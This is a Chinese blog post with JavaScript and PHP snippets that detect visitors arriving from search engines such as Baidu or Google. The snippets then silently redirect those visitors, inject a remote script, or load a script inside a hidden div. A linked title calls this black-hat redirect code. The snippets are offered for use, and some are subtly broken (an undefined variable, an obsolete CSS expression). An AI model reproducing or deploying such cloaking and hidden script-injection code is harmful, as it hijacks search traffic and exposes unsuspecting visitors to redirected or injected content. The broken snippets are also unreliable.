js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
jquery HotKeys轻松搞定键盘事件代码
Aug 30 Javascript
javascript 冒号 使用说明
Jun 06 Javascript
location.href语句与火狐不兼容的问题
Jul 04 Javascript
dojo学习第二天 ajax异步请求之绑定列表
Aug 29 Javascript
jQuery 仿百度输入标签插件附效果图
Jul 04 Javascript
javascript制作坦克大战全纪录(2)
Nov 27 Javascript
node.js实现BigPipe详解
Dec 05 Javascript
js实现禁止中文输入的方法
Jan 14 Javascript
微信小程序实战之运维小项目
Jan 17 Javascript
在angular 6中使用 less 的实例代码
May 13 Javascript
Vue导出页面为PDF格式的实现思路
Jul 31 Javascript
vue 函数调用加括号与不加括号的区别
Oct 29 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
创建数据库php代码 用PHP写出自己的BLOG系统
2010/04/12 PHP
PHP函数strip_tags的一个bug浅析
2014/05/22 PHP
php实现的一个简单json rpc框架实例
2015/03/30 PHP
PHP封装返回Ajax字符串和JSON数组的方法
2017/02/17 PHP
PHP单例模式简单用法示例
2017/06/23 PHP
JQuery onload、ready概念介绍及使用方法
2013/04/27 Javascript
DOM基础教程之事件类型
2015/01/20 Javascript
jQuery实现宽屏图片轮播实例教程
2015/11/24 Javascript
JS验证逗号隔开可以是中文字母数字
2016/04/22 Javascript
JavaScript九九乘法口诀表的简单实现
2016/10/04 Javascript
js获取元素下的第一级子元素的方法(推荐)
2017/03/05 Javascript
详解Vue.js基于$.ajax获取数据并与组件的data绑定
2017/05/26 Javascript
详解angularjs 学习之 scope作用域
2018/01/15 Javascript
JS简单添加元素新节点的方法示例
2018/02/10 Javascript
详解微信图片防盗链“此图片来自微信公众平台 未经允许不得引用”的解决方案
2019/04/04 Javascript
express启用https使用小记
2019/05/21 Javascript
tweenjs缓动算法的使用实例分析
2019/08/26 Javascript
微信浏览器下拉黑边解决方案 wScroollFix
2020/01/21 Javascript
用Python中的wxPython实现最基本的浏览器功能
2015/04/14 Python
Python使用PIL模块生成随机验证码
2017/11/21 Python
Python微信操控itchat的方法
2019/05/31 Python
Python Selenium 之数据驱动测试的实现
2019/08/01 Python
详解pytorch tensor和ndarray转换相关总结
2020/09/03 Python
Python包资源下载路径报404解决方案
2020/11/05 Python
python从ftp获取文件并下载到本地
2020/12/05 Python
详解python 条件语句和while循环的实例代码
2020/12/28 Python
英国著名的小众美容品牌网站:Alyaka
2017/08/08 全球购物
运动鞋、街头服装、手表和手袋的实时市场:StockX
2020/11/25 全球购物
求职简历自荐信范文
2013/10/21 职场文书
档案接收函范文
2014/01/10 职场文书
检查接待方案
2014/02/27 职场文书
计算机网络工程专业职业生涯规划书
2014/03/10 职场文书
无保留意见审计报告
2015/06/05 职场文书
作文之亲情600字
2019/09/23 职场文书
聊聊SpringBoot自动装配的魔力
2021/11/17 Java/Android
mysql如何查询连续记录
2022/05/11 MySQL